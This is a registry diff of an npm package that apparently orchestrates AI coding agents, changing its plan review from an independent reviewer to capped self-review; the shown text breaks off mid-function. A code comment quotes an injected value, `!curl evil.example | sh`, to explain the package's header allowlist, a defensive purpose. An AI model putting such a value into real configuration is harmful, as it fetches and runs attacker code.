@yagni-app/code-staging 1.2.14-staging.2370.1 → 1.2.14-staging.2374.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -151,7 +151,7 @@ export interface ContextBrief {
151
151
  * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
152
152
  * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
153
153
  * reference is interpolated from env and THROWS the whole request if that env
154
- * var is unset. These four values ride straight from `process.env` — a stray
154
+ * var is unset. These values ride straight from `process.env` — a stray
155
155
  * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
156
156
  * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
157
157
  * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
@@ -114,7 +114,7 @@ const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/
114
114
  * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
115
115
  * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
116
116
  * reference is interpolated from env and THROWS the whole request if that env
117
- * var is unset. These four values ride straight from `process.env` — a stray
117
+ * var is unset. These values ride straight from `process.env` — a stray
118
118
  * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
119
119
  * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
120
120
  * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
@@ -140,6 +140,11 @@ export function attributionHeaders(env = process.env) {
140
140
  const runId = env.YAGNI_RUN_ID ?? "";
141
141
  if (UUID_RE.test(runId))
142
142
  headers["x-yagni-run-id"] = runId;
143
+ // The session lane's turn (`YAGNI_EXECUTION_ID`, `pipeline/sessionLane.ts`):
144
+ // the server resolves it against the run's own turns.
145
+ const executionId = env.YAGNI_EXECUTION_ID ?? "";
146
+ if (UUID_RE.test(executionId))
147
+ headers["x-yagni-execution-id"] = executionId;
143
148
  const caller = env.YAGNI_CALLER ?? "";
144
149
  headers["x-yagni-caller"] = CALLER_LABEL_RE.test(caller) ? caller : "driver";
145
150
  return headers;
@@ -122,6 +122,12 @@ export interface AttemptResult extends CloudIdentity {
122
122
  * host writes each into the plan as Wright's decision.
123
123
  */
124
124
  planChanges?: PlanChange[];
125
+ /**
126
+ * The sha256 of the system prompt the session lane's turn ran on, and the
127
+ * image the machine says it runs (`turnPromptFacts`, `sessionLane.ts`).
128
+ */
129
+ systemPromptSha256?: string;
130
+ imageRef?: string;
125
131
  /**
126
132
  * The pull request's description the session wrote (`pull-request.md`,
127
133
  * `sessionLane.ts`); absent when it wrote none. The host scrubs it and
@@ -3,7 +3,7 @@
3
3
  *
4
4
  * A session-lane turn names a folder in its child's env
5
5
  * ({@link HELPER_SESSIONS_DIR_ENV}); each helper it starts (a subagent's
6
- * try, a plan review round) then runs on its own pi session file there instead
6
+ * try) then runs on its own pi session file there instead
7
7
  * of `--no-session`, and the host stores the folder with the session's parts
8
8
  * (the backend's `attempts/liveTranscript.ts`). The file is named by the call
9
9
  * that started the helper and its try, so a retry never resumes the failed
@@ -36,7 +36,7 @@ import type { PipelineStage } from "./types.js";
36
36
  * each fix. Its words never name the harness (the branding scrub rewrites
37
37
  * that word) and open with no bullet.
38
38
  */
39
- export declare const WORK_A_TICKET_SKILL = "---\nname: work-a-ticket\ndescription: How YAGNI works a ticket in one session, from reading it to a committed, honestly reported change. Read, run and plan with options and a recommendation, stop for approval, build the smallest change yourself, verify with a fresh subagent, commit and report.\n---\n\n# How YAGNI works a ticket\n\nYou work one ticket for a Team, in its repository, checked out in your working directory on a machine that is yours for the whole run. A person approves your plan before anything is built. YAGNI pushes your commits, opens the pull request, waits for CI and the review, and brings you back with what they asked. Each time YAGNI resumes you, its message says which turn this is and what it needs back. This is a playbook, not a contract: use your judgement, and say what you did.\n\n## 1. Understand the ticket\n\nRead the ticket, its evidence and every image it names, the design, the memo, the checks, the Team's playbook and the Plan line's instructions. Read the code the ticket touches, and send searcher subagents for wide reads, in parallel. Settle facts by running things rather than guessing: the tests, a type check, the app, Docker, a query. Installing what a check needs is fine. Read the decision ledger (team_read with yagni_decisions_read_for_repository) and ask_yagni before you ask a person anything.\n\nCheck the ticket before you build on it. Each thing it states and your plan relies on (a bug, a file, a behaviour, a number) is a premise: check it against the code, the git history or the data, and keep the command, file or query that shows it. A premise you cannot check is marked so, never assumed. Take \"Done when\" from the ticket's acceptance criteria, or write it when the ticket has none. When the check shows the problem is already gone, your plan recommends closing the ticket, with the evidence, instead of a change.\n\n## 2. Plan, then stop\n\nOpen the plan with the ticket check and \"Done when\". Name the files and the steps. Where there is a real choice of approach, give the options, each with what it changes and what it costs, and recommend one. End the turn with the plan in the format the message gives, and stop. A fresh reviewer then reads your plan against the ticket and the code; when it finds something major, its findings come back to you in this session: check each one, revise the plan for the real ones, and send the whole plan again. You have no edit or write tool until the plan is approved, and anything you change in tracked files before then is put back.\n\n## 3. Build\n\nThe option the person approved is binding. The plan's steps are guidance: when the code shows a better step, take it, and record the departure and why. Prefer the smallest change that meets the ticket: no drive-by refactors and no files the ticket does not need. Write the change yourself, in this session, with the ticket, the plan and the code you read in mind. Only when this turn's message names a helper, hand it fully specified chunks of work (the files, the change, the check that proves it) and keep the judgement calls yourself. Run the checks that prove the change. A check that already failed on the unchanged code is not yours to fix; say so.\n\n## 4. Verify\n\nBefore you finish, dispatch a fresh verification subagent on your diff, with the ticket and the plan, and fix what it finds that is real. Send one. Only for a risky change (a migration, auth, money, data that cannot be restored) send two or three with different lenses and treat their agreement as confirmation.\n\n## 5. Commit and report\n\nCommit on the branch you are on, with clear messages. Never push, never open or edit a pull request, and never change the git identity or config. Write the report the message asks for last, and honestly: each check you ran with its real exit code, what you could not verify and why, and every departure from the plan and why. A check you did not run is not a pass.\n\n## Rules that always hold\n\nNever fabricate a path, a result or a check: \"not found\" and \"not verified\" are answers. Never print, commit or send a token or a variable's value. If the disk fills (\"no space left on device\"), stop and say so; do not delete or prune to go on. Call record_decision only for a consequential product or architecture call the plan did not settle.\n";
39
+ export declare const WORK_A_TICKET_SKILL = "---\nname: work-a-ticket\ndescription: How YAGNI works a ticket in one session, from reading it to a committed, honestly reported change. Read, run and plan with options and a recommendation, stop for approval, build the smallest change yourself, verify with a fresh subagent, commit and report.\n---\n\n# How YAGNI works a ticket\n\nYou work one ticket for a Team, in its repository, checked out in your working directory on a machine that is yours for the whole run. A person approves your plan before anything is built. YAGNI pushes your commits, opens the pull request, waits for CI and the review, and brings you back with what they asked. Each time YAGNI resumes you, its message says which turn this is and what it needs back. This is a playbook, not a contract: use your judgement, and say what you did.\n\n## 1. Understand the ticket\n\nRead the ticket, its evidence and every image it names, the design, the memo, the checks, the Team's playbook and the Plan line's instructions. Read the code the ticket touches, and send searcher subagents for wide reads, in parallel. Settle facts by running things rather than guessing: the tests, a type check, the app, Docker, a query. Installing what a check needs is fine. Read the decision ledger (team_read with yagni_decisions_read_for_repository) and ask_yagni before you ask a person anything.\n\nCheck the ticket before you build on it. Each thing it states and your plan relies on (a bug, a file, a behaviour, a number) is a premise: check it against the code, the git history or the data, and keep the command, file or query that shows it. A premise you cannot check is marked so, never assumed. Take \"Done when\" from the ticket's acceptance criteria, or write it when the ticket has none. When the check shows the problem is already gone, your plan recommends closing the ticket, with the evidence, instead of a change.\n\n## 2. Plan, then stop\n\nOpen the plan with the ticket check and \"Done when\". Name the files and the steps. Where there is a real choice of approach, give the options, each with what it changes and what it costs, and recommend one. End the turn with the plan in the format the message gives, and stop. Then you review your own plan in this session, round by round, at most four: check it against the ticket and the code, fix what you find in place, and send the whole plan again with the round's verdict. You have no edit or write tool until the plan is approved, and anything you change in tracked files before then is put back.\n\n## 3. Build\n\nThe option the person approved is binding. The plan's steps are guidance: when the code shows a better step, take it, and record the departure and why. Prefer the smallest change that meets the ticket: no drive-by refactors and no files the ticket does not need. Write the change yourself, in this session, with the ticket, the plan and the code you read in mind. Only when this turn's message names a helper, hand it fully specified chunks of work (the files, the change, the check that proves it) and keep the judgement calls yourself. Run the checks that prove the change. A check that already failed on the unchanged code is not yours to fix; say so.\n\n## 4. Verify\n\nBefore you finish, dispatch a fresh verification subagent on your diff, with the ticket and the plan, and fix what it finds that is real. Send one. Only for a risky change (a migration, auth, money, data that cannot be restored) send two or three with different lenses and treat their agreement as confirmation.\n\n## 5. Commit and report\n\nCommit on the branch you are on, with clear messages. Never push, never open or edit a pull request, and never change the git identity or config. Write the report the message asks for last, and honestly: each check you ran with its real exit code, what you could not verify and why, and every departure from the plan and why. A check you did not run is not a pass.\n\n## Rules that always hold\n\nNever fabricate a path, a result or a check: \"not found\" and \"not verified\" are answers. Never print, commit or send a token or a variable's value. If the disk fills (\"no space left on device\"), stop and say so; do not delete or prune to go on. Call record_decision only for a consequential product or architecture call the plan did not settle.\n";
40
40
  /** Persona body keyed by the agent name referenced in `stages.ts`. */
41
41
  export declare const PERSONA_BODIES: Record<string, string>;
42
42
  /**
@@ -97,7 +97,7 @@ Check the ticket before you build on it. Each thing it states and your plan reli
97
97
 
98
98
  ## 2. Plan, then stop
99
99
 
100
- Open the plan with the ticket check and "Done when". Name the files and the steps. Where there is a real choice of approach, give the options, each with what it changes and what it costs, and recommend one. End the turn with the plan in the format the message gives, and stop. A fresh reviewer then reads your plan against the ticket and the code; when it finds something major, its findings come back to you in this session: check each one, revise the plan for the real ones, and send the whole plan again. You have no edit or write tool until the plan is approved, and anything you change in tracked files before then is put back.
100
+ Open the plan with the ticket check and "Done when". Name the files and the steps. Where there is a real choice of approach, give the options, each with what it changes and what it costs, and recommend one. End the turn with the plan in the format the message gives, and stop. Then you review your own plan in this session, round by round, at most four: check it against the ticket and the code, fix what you find in place, and send the whole plan again with the round's verdict. You have no edit or write tool until the plan is approved, and anything you change in tracked files before then is put back.
101
101
 
102
102
  ## 3. Build
103
103
 
@@ -115,15 +115,6 @@ Commit on the branch you are on, with clear messages. Never push, never open or
115
115
 
116
116
  Never fabricate a path, a result or a check: "not found" and "not verified" are answers. Never print, commit or send a token or a variable's value. If the disk fills ("no space left on device"), stop and say so; do not delete or prune to go on. Call record_decision only for a consequential product or architecture call the plan did not settle.
117
117
  `;
118
- /**
119
- * The plan reviewer (`planReview.ts`): a fresh child that reads a session
120
- * lane's plan against the ticket and the code, with no part in writing it.
121
- * Its questions and its output block ride its task.
122
- */
123
- const PLAN_REVIEWER_ROLE = `You are a plan reviewer. You read a plan another session wrote for a ticket, before a person approves it, and you find what would make the build wrong, unsafe or incomplete. You did not write the plan, so take none of it on trust: verify its claims in the code yourself. You change nothing: you read, search and run read-only commands (git log, git show, a test, a type check).`;
124
- const PLAN_REVIEWER_GROUNDING = `You are grounded. Call ask_yagni before you judge a convention or a company-specific call, and team_read with the Team's connected tools to check a fact outside this repository.`;
125
- const PLAN_REVIEWER_FINISH = `Be strict about evidence and honest about verdicts. Every finding names its evidence; one you cannot back is dropped. A sound plan has nothing major, and saying so is a good review. Finish in ONE turn: your last message ends with the block the task gives.`;
126
- const PLAN_REVIEWER_BODY = [PLAN_REVIEWER_ROLE, PLAN_REVIEWER_GROUNDING, PLAN_REVIEWER_FINISH].join("\n\n");
127
118
  const CLOUD_PLANNER_BODY = [CLOUD_PLANNER_ROLE, CLOUD_PLANNER_GROUNDING, CLOUD_PLANNER_FINISH].join("\n\n");
128
119
  const WORKER_BODY = `You are a worker with full capabilities, operating in an isolated context to implement a plan. Work autonomously and use the tools as needed.
129
120
 
@@ -299,7 +290,6 @@ export const PERSONA_BODIES = {
299
290
  planner: PLANNER_BODY,
300
291
  cloud_planner: CLOUD_PLANNER_BODY,
301
292
  session: WORK_A_TICKET_SKILL,
302
- plan_reviewer: PLAN_REVIEWER_BODY,
303
293
  worker: WORKER_BODY,
304
294
  reviewer: REVIEWER_BODY,
305
295
  advisor: ADVISOR_BODY,
@@ -397,7 +387,6 @@ export const BLIND_PERSONA_BODIES = {
397
387
  prefix: PREFIX_BODY, // grounding-free by construction (no grounding text at all)
398
388
  planner: PLANNER_BLIND,
399
389
  cloud_planner: [CLOUD_PLANNER_ROLE, CLOUD_PLANNER_FINISH].join("\n\n"),
400
- plan_reviewer: [PLAN_REVIEWER_ROLE, PLAN_REVIEWER_FINISH].join("\n\n"),
401
390
  worker: WORKER_BLIND,
402
391
  reviewer: REVIEWER_BLIND,
403
392
  advisor: ADVISOR_BLIND,
@@ -1,28 +1,30 @@
1
1
  /**
2
- * A session-lane plan held to the bar a person expects before the gate: a
3
- * fresh reviewer reads it, round after round, until a round finds nothing
4
- * major, and the host checks that every path it cites is in the repository.
2
+ * A session-lane plan held to the bar a person expects before the gate: the
3
+ * session that wrote it reviews it in its own conversation, round after round,
4
+ * until a round finds nothing major or four rounds have run, and the host
5
+ * checks that every path the plan cites is in the repository.
5
6
  *
6
- * The reviewer is its own child, with no session file: it shares nothing with
7
- * the session that wrote the plan, so the plan is never graded by the context
8
- * that wrote it. Its major findings go back to the session, which revises the
9
- * plan in the same conversation. No round cap: what the run may spend and its
10
- * clock are the only limits. The plan then carries a `## Self-review` section
11
- * the host writes, and a `## Paths not found` section when it cites a path
12
- * the host could not find, both of which the gate's page shows as the plan's
13
- * own sections.
7
+ * Each round is one more turn of the same session, as a developer's coding
8
+ * agent reviews its own plan: it answers the same questions, fixes every
9
+ * finding it accepts in place (minor and major), and sends the whole plan
10
+ * again with one verdict block that lists only the majors. Only a major buys
11
+ * another round. The independent review is Proctor's, on the pull request.
12
+ * The plan then carries a `## Self-review` section the host writes, and a
13
+ * `## Paths not found` section when it cites a path the host could not find,
14
+ * both of which the gate's page shows as the plan's own sections.
14
15
  */
15
16
  import type { StageResult } from "./types.js";
16
17
  import type { WorktreeExec } from "./worktree.js";
17
- /** The agent the reviewer's child runs as (`personas.ts`). */
18
- export declare const PLAN_REVIEWER_AGENT = "plan_reviewer";
19
- /** The caller the model proxy attributes a review round to. */
20
- export declare const PLAN_REVIEW_CALLER_LABEL = "go:plan-review";
21
- /** What the reviewer may use: it reads and runs, and changes nothing. */
22
- export declare const PLAN_REVIEWER_TOOLS: string[];
23
- /** A round starts only with this much of the run's time left: a review and a revision both fit. */
18
+ /** A round starts only with this much of the run's time left: one review turn fits. */
24
19
  export declare const MIN_REVIEW_ROUND_MS: number;
25
- /** One major finding a reviewer backed with evidence. */
20
+ /**
21
+ * The plan's review ends after this many rounds, even when the last one still
22
+ * lists a major. Not the cloud lane's code-review cap (`types.ts`).
23
+ */
24
+ export declare const MAX_PLAN_REVIEW_ROUNDS = 4;
25
+ /** How the review ends when its last round still lists a major (its wording names the cap above). */
26
+ export declare const REVIEW_CAP_ENDED = "the review reached its cap of four rounds; round 4's majors were revised but not checked again";
27
+ /** One major finding the session backed with evidence. */
26
28
  export interface PlanFinding {
27
29
  dimension: string;
28
30
  finding: string;
@@ -33,34 +35,51 @@ export interface PlanFinding {
33
35
  export interface ReviewRound {
34
36
  round: number;
35
37
  findings: PlanFinding[];
36
- /** `clean`: nothing major. `revised`: the session revised the plan. `unrevised`: it could not. */
37
- outcome: "clean" | "revised" | "unrevised";
38
+ /** `revised`: the round's answer carried a plan, which now stands. `unrevised`: it carried none. */
39
+ outcome: "revised" | "unrevised";
38
40
  }
39
- /** The reviewer's message: the ticket's inputs, the plan as written, and the block it ends on. */
40
- export declare function planReviewTask(inputDir: string, planText: string, round: number): string;
41
- /** The reviewer's last ```plan-review block that reads, or null when it wrote none. */
41
+ /** The opening words of every review message: how a test (or a reader of the stream) knows one. */
42
+ export declare const REVIEW_MESSAGE_OPENING = "Review the plan you just wrote";
43
+ /**
44
+ * A review round's message to the session that wrote the plan: the questions,
45
+ * the bar for major, the answer it ends on, and the plan as it stands, carried
46
+ * whole (its plan-json block included) so a compaction during the plan turn
47
+ * never leaves the session reviewing a summary of its own plan.
48
+ */
49
+ export declare function reviewMessage(inputDir: string, planText: string, round: number): string;
50
+ /** The re-ask when a review round's answer carried no verdict that reads. */
51
+ export declare const VERDICT_REASK = "Your last message did not end with a plan-review block that reads. Send the whole plan again as your last message: the plan, then its plan-json block, then the plan-review block listing the majors you found this round (an empty list when there were none).";
52
+ /** The text without its plan-review blocks: the verdict never reaches the gate's plan. */
53
+ export declare function stripPlanReview(text: string): string;
54
+ /**
55
+ * A review round's plan alone: from its first heading through its last
56
+ * plan-json block, so neither the verdict nor a report the session wrote
57
+ * around the plan ("I reviewed it and fixed the test") reaches the gate.
58
+ * A plan opens on a heading and ends on its block (the plan turn's format).
59
+ */
60
+ export declare function planOfReviewAnswer(text: string): string;
61
+ /** The session's last ```plan-review block that reads, or null when it wrote none. */
42
62
  export declare function parsePlanReview(text: string): {
43
63
  findings: PlanFinding[];
44
64
  } | null;
45
- /** The message that brings a round's major findings back to the session that wrote the plan. */
46
- export declare function revisionMessage(findings: readonly PlanFinding[]): string;
47
65
  /**
48
- * The plan's review, round after round, until one finds nothing major. Each
49
- * round runs a fresh reviewer (`review`); an answer that does not read is
50
- * asked for once more. Major findings go to the session (`turn`), whose answer
51
- * stands only when it carries its plan-json block (`withBlock`, the lane's
52
- * re-ask). It ends without a clean round when the attempt is stopped, the run
53
- * has under {@link MIN_REVIEW_ROUND_MS} left, the proxy refuses a call for
54
- * credits or the run's budget (the review's or the revision's, named), a
55
- * child runs out of time, the reviewer twice
56
- * writes no review that reads, or the session's revision carries no block; the
57
- * last plan with its block stands, and `ended` says why.
66
+ * The plan's review in the session that wrote it, round after round, until
67
+ * one lists nothing major or {@link MAX_PLAN_REVIEW_ROUNDS} have run. Each round is
68
+ * one turn (`turn`) whose answer is the whole plan, its plan-json block and
69
+ * the round's verdict; a verdict that does not read is asked for once more,
70
+ * and an answer without its plan-json block gets the lane's re-ask
71
+ * (`withBlock`), the verdict it had standing for the round. Every plan the
72
+ * loop keeps has its verdict block taken out. It ends without a clean round
73
+ * when the attempt is stopped, the run has under {@link MIN_REVIEW_ROUND_MS}
74
+ * left, the proxy refuses a call for credits or the run's budget, a turn runs
75
+ * out of time, the session twice writes no verdict that reads, an answer with
76
+ * majors carries no plan, or the cap is reached; the last plan with its block
77
+ * stands, and `ended` says why.
58
78
  */
59
79
  export declare function selfReviewPlan(input: {
60
80
  run: StageResult;
61
81
  inputDir: string;
62
82
  turn: (message: string) => Promise<StageResult>;
63
- review: (task: string) => Promise<StageResult>;
64
83
  withBlock: (run: StageResult) => Promise<{
65
84
  run: StageResult;
66
85
  asked: StageResult[];
@@ -1,27 +1,29 @@
1
1
  /**
2
- * A session-lane plan held to the bar a person expects before the gate: a
3
- * fresh reviewer reads it, round after round, until a round finds nothing
4
- * major, and the host checks that every path it cites is in the repository.
2
+ * A session-lane plan held to the bar a person expects before the gate: the
3
+ * session that wrote it reviews it in its own conversation, round after round,
4
+ * until a round finds nothing major or four rounds have run, and the host
5
+ * checks that every path the plan cites is in the repository.
5
6
  *
6
- * The reviewer is its own child, with no session file: it shares nothing with
7
- * the session that wrote the plan, so the plan is never graded by the context
8
- * that wrote it. Its major findings go back to the session, which revises the
9
- * plan in the same conversation. No round cap: what the run may spend and its
10
- * clock are the only limits. The plan then carries a `## Self-review` section
11
- * the host writes, and a `## Paths not found` section when it cites a path
12
- * the host could not find, both of which the gate's page shows as the plan's
13
- * own sections.
7
+ * Each round is one more turn of the same session, as a developer's coding
8
+ * agent reviews its own plan: it answers the same questions, fixes every
9
+ * finding it accepts in place (minor and major), and sends the whole plan
10
+ * again with one verdict block that lists only the majors. Only a major buys
11
+ * another round. The independent review is Proctor's, on the pull request.
12
+ * The plan then carries a `## Self-review` section the host writes, and a
13
+ * `## Paths not found` section when it cites a path the host could not find,
14
+ * both of which the gate's page shows as the plan's own sections.
14
15
  */
15
16
  import { creditExhaustionReason } from "./orchestrator.js";
16
17
  import { extractPlanJson } from "./planOutput.js";
17
- /** The agent the reviewer's child runs as (`personas.ts`). */
18
- export const PLAN_REVIEWER_AGENT = "plan_reviewer";
19
- /** The caller the model proxy attributes a review round to. */
20
- export const PLAN_REVIEW_CALLER_LABEL = "go:plan-review";
21
- /** What the reviewer may use: it reads and runs, and changes nothing. */
22
- export const PLAN_REVIEWER_TOOLS = ["read", "grep", "find", "ls", "bash", "ask_yagni", "team_read"];
23
- /** A round starts only with this much of the run's time left: a review and a revision both fit. */
18
+ /** A round starts only with this much of the run's time left: one review turn fits. */
24
19
  export const MIN_REVIEW_ROUND_MS = 10 * 60_000;
20
+ /**
21
+ * The plan's review ends after this many rounds, even when the last one still
22
+ * lists a major. Not the cloud lane's code-review cap (`types.ts`).
23
+ */
24
+ export const MAX_PLAN_REVIEW_ROUNDS = 4;
25
+ /** How the review ends when its last round still lists a major (its wording names the cap above). */
26
+ export const REVIEW_CAP_ENDED = "the review reached its cap of four rounds; round 4's majors were revised but not checked again";
25
27
  const MAX_FINDINGS = 10;
26
28
  const PLAN_REVIEW_BLOCK = /```plan-review[^\n]*\n([\s\S]*?)```/gi;
27
29
  function clipped(value, max) {
@@ -30,33 +32,60 @@ function clipped(value, max) {
30
32
  const text = value.replace(/\s+/g, " ").trim();
31
33
  return text.length > max ? `${text.slice(0, max - 3)}...` : text;
32
34
  }
33
- /** The reviewer's message: the ticket's inputs, the plan as written, and the block it ends on. */
34
- export function planReviewTask(inputDir, planText, round) {
35
+ /** The opening words of every review message: how a test (or a reader of the stream) knows one. */
36
+ export const REVIEW_MESSAGE_OPENING = "Review the plan you just wrote";
37
+ /**
38
+ * A review round's message to the session that wrote the plan: the questions,
39
+ * the bar for major, the answer it ends on, and the plan as it stands, carried
40
+ * whole (its plan-json block included) so a compaction during the plan turn
41
+ * never leaves the session reviewing a summary of its own plan.
42
+ */
43
+ export function reviewMessage(inputDir, planText, round) {
35
44
  const at = (file) => `${inputDir.replace(/\/+$/, "")}/${file}`;
36
45
  return [
37
- `Review this plan, round ${round}. Another session wrote it for the ticket in ${at("ticket.md")}; a person approves it next, and a builder executes it.`,
38
- `Read the ticket, every image it names, and ${at("checks.json")}, ${at("memo.md")} and ${at("playbook.md")} when they exist. Then read the code the plan touches. Change nothing in the repository and commit nothing.`,
46
+ `${REVIEW_MESSAGE_OPENING}, round ${round} of at most ${MAX_PLAN_REVIEW_ROUNDS}, against the ticket in ${at("ticket.md")} and the code. A person approves it next, and the build follows it. Read again what you need and run what settles a fact; change no tracked file and commit nothing.`,
39
47
  [
40
- "Judge the plan on these questions, and verify each against the code before you answer it:",
41
- '1. Ticket check: does the plan open with a premises table, each premise checked with the command, file or query that shows it, or marked as not checkable, and with "Done when"? Is a premise it marks as checked really true? A missing ticket check, a missing "Done when", or a false premise is major. A plan that recommends closing the ticket because its problem is already gone: check that evidence yourself; a close the code does not support is major.',
48
+ "Answer each of these questions against the code, not from memory:",
49
+ '1. Ticket check: is each premise the plan relies on checked, with the command, file:line or query that shows it, or marked as not checkable? Is a premise marked checked really true? Is "Done when" written? When the plan recommends closing the ticket, check that evidence again yourself.',
42
50
  "2. Half-measures: is any step a shortcut where the right fix is known and cheap now?",
43
51
  "3. Needless complexity: a new file, abstraction, option or flag the ticket does not need?",
44
- "4. Unintended side effects: other callers of the code it changes, shared state, contracts, data. Search for the callers; do not guess.",
52
+ "4. Side effects: other callers of the code it changes, shared state, migrations that take long locks, contracts. Search for the callers; do not guess.",
45
53
  "5. Observability: when the change fails in production, will anyone see it?",
46
- '6. Spec coverage: does it do everything the ticket and its "Done when" ask, and do its checks cover a real failure the change could have?',
54
+ '6. Spec coverage: does it do everything the ticket and its "Done when" ask?',
47
55
  ].join("\n"),
48
- "Every finding needs evidence: a file and line, a command and its output, or the ticket's own words. Drop a finding you cannot back. List only what is major: a flaw that would make the build wrong, unsafe or incomplete, or a premise that is false. Leave out style, wording and anything minor. Finding nothing major is a good answer for a sound plan.",
56
+ "Evidence or discard: a finding needs a file and line, a command and its output, or the ticket's own words; drop one you cannot back. Finding nothing is a good result for a sound plan.",
57
+ "A finding is major when it changes the plan's direction, or would make the build wrong or unsafe: a false premise that changes what gets built, a check that fails or passes whatever the change does (the checks gate the build), or a recommendation to close the ticket the code does not support. A missing or weak test, docs, wording, or a premise's bookkeeping (a missing ticket-check row, checked versus not checkable) is minor.",
58
+ "Fix every finding you accept, minor and major, in the plan now. Only a major causes another round.",
49
59
  [
50
- "End with a fenced ```plan-review block and nothing after it:",
60
+ "Your last message is the whole plan, then its plan-json block, then one fenced ```plan-review block, and nothing else: no report and no notes on what you changed. The block lists only the majors you found this round, each already fixed in the plan:",
51
61
  "```plan-review",
52
- '{"findings": [{"dimension": "ticket check | half-measure | complexity | side effects | observability | spec coverage", "finding": "one line", "evidence": "file:line, or the command and what it showed", "fix": "one line on what the plan should change"}]}',
62
+ '{"findings": [{"dimension": "ticket check | half-measure | complexity | side effects | observability | spec coverage", "finding": "one line", "evidence": "file:line, or the command and what it showed", "fix": "one line on what you changed"}]}',
53
63
  "```",
54
- 'An empty "findings" list means the plan has nothing major.',
64
+ 'An empty "findings" list means this round found nothing major, and the review ends.',
55
65
  ].join("\n"),
56
- `The plan:\n\n${planText.trim()}`,
66
+ `The plan as it stands:\n\n${planText.trim()}`,
57
67
  ].join("\n\n");
58
68
  }
59
- /** The reviewer's last ```plan-review block that reads, or null when it wrote none. */
69
+ /** The re-ask when a review round's answer carried no verdict that reads. */
70
+ export const VERDICT_REASK = "Your last message did not end with a plan-review block that reads. Send the whole plan again as your last message: the plan, then its plan-json block, then the plan-review block listing the majors you found this round (an empty list when there were none).";
71
+ /** The text without its plan-review blocks: the verdict never reaches the gate's plan. */
72
+ export function stripPlanReview(text) {
73
+ return text.replace(PLAN_REVIEW_BLOCK, "").trimEnd();
74
+ }
75
+ /**
76
+ * A review round's plan alone: from its first heading through its last
77
+ * plan-json block, so neither the verdict nor a report the session wrote
78
+ * around the plan ("I reviewed it and fixed the test") reaches the gate.
79
+ * A plan opens on a heading and ends on its block (the plan turn's format).
80
+ */
81
+ export function planOfReviewAnswer(text) {
82
+ const plan = stripPlanReview(text);
83
+ const lastBlock = [...plan.matchAll(/```plan-json[^\n]*\n[\s\S]*?```/gi)].at(-1);
84
+ const end = lastBlock ? (lastBlock.index ?? 0) + lastBlock[0].length : plan.length;
85
+ const start = plan.search(/^#{1,6} /m);
86
+ return plan.slice(start >= 0 && start < end ? start : 0, end).trim();
87
+ }
88
+ /** The session's last ```plan-review block that reads, or null when it wrote none. */
60
89
  export function parsePlanReview(text) {
61
90
  let found = null;
62
91
  for (const match of text.matchAll(PLAN_REVIEW_BLOCK)) {
@@ -92,84 +121,92 @@ export function parsePlanReview(text) {
92
121
  }
93
122
  return found;
94
123
  }
95
- /** The message that brings a round's major findings back to the session that wrote the plan. */
96
- export function revisionMessage(findings) {
97
- const items = findings.map((f, index) => [
98
- `${index + 1}. ${f.dimension ? `(${f.dimension}) ` : ""}${f.finding}`,
99
- f.evidence ? ` Evidence: ${f.evidence}` : null,
100
- f.fix ? ` Suggested fix: ${f.fix}` : null,
101
- ]
102
- .filter(Boolean)
103
- .join("\n"));
104
- return [
105
- "A fresh reviewer read your plan against the ticket and the code, and found these major problems:",
106
- items.join("\n"),
107
- "Check each one against the code. Revise the plan for every one that is real; for one that is wrong, keep the plan as it is and say why in one line under ## Risks. Then send the whole revised plan again as your last message, in the same format, ending with the plan-json block. The reviewer reads it again.",
108
- ].join("\n\n");
109
- }
110
124
  /**
111
- * The plan's review, round after round, until one finds nothing major. Each
112
- * round runs a fresh reviewer (`review`); an answer that does not read is
113
- * asked for once more. Major findings go to the session (`turn`), whose answer
114
- * stands only when it carries its plan-json block (`withBlock`, the lane's
115
- * re-ask). It ends without a clean round when the attempt is stopped, the run
116
- * has under {@link MIN_REVIEW_ROUND_MS} left, the proxy refuses a call for
117
- * credits or the run's budget (the review's or the revision's, named), a
118
- * child runs out of time, the reviewer twice
119
- * writes no review that reads, or the session's revision carries no block; the
120
- * last plan with its block stands, and `ended` says why.
125
+ * The plan's review in the session that wrote it, round after round, until
126
+ * one lists nothing major or {@link MAX_PLAN_REVIEW_ROUNDS} have run. Each round is
127
+ * one turn (`turn`) whose answer is the whole plan, its plan-json block and
128
+ * the round's verdict; a verdict that does not read is asked for once more,
129
+ * and an answer without its plan-json block gets the lane's re-ask
130
+ * (`withBlock`), the verdict it had standing for the round. Every plan the
131
+ * loop keeps has its verdict block taken out. It ends without a clean round
132
+ * when the attempt is stopped, the run has under {@link MIN_REVIEW_ROUND_MS}
133
+ * left, the proxy refuses a call for credits or the run's budget, a turn runs
134
+ * out of time, the session twice writes no verdict that reads, an answer with
135
+ * majors carries no plan, or the cap is reached; the last plan with its block
136
+ * stands, and `ended` says why.
121
137
  */
122
138
  export async function selfReviewPlan(input) {
123
139
  let run = input.run;
124
140
  const asked = [];
125
141
  const rounds = [];
126
142
  const end = (ended) => ({ run, asked, rounds, ended });
143
+ /** An answer that carries its plan-json block becomes the plan, its verdict and any report taken out. */
144
+ const carriesPlan = (answer) => answer.exitCode === 0 && extractPlanJson(answer.finalOutput) !== null;
145
+ const keep = (answer) => {
146
+ run = { ...answer, finalOutput: planOfReviewAnswer(answer.finalOutput) };
147
+ };
148
+ /** Why a turn's answer ends the review before its verdict is read, or null. */
149
+ const stopped = (answer) => {
150
+ const refused = creditExhaustionReason(answer);
151
+ if (refused)
152
+ return `the review round was refused: ${refused}`;
153
+ if (answer.timedOut)
154
+ return "the review round ran out of the run's time";
155
+ if (input.signal?.aborted)
156
+ return "the attempt was stopped";
157
+ return null;
158
+ };
127
159
  for (let round = 1;; round += 1) {
128
160
  if (input.signal?.aborted)
129
161
  return end("the attempt was stopped");
130
162
  const left = input.timeLeftMs();
131
163
  if (left !== undefined && left < MIN_REVIEW_ROUND_MS)
132
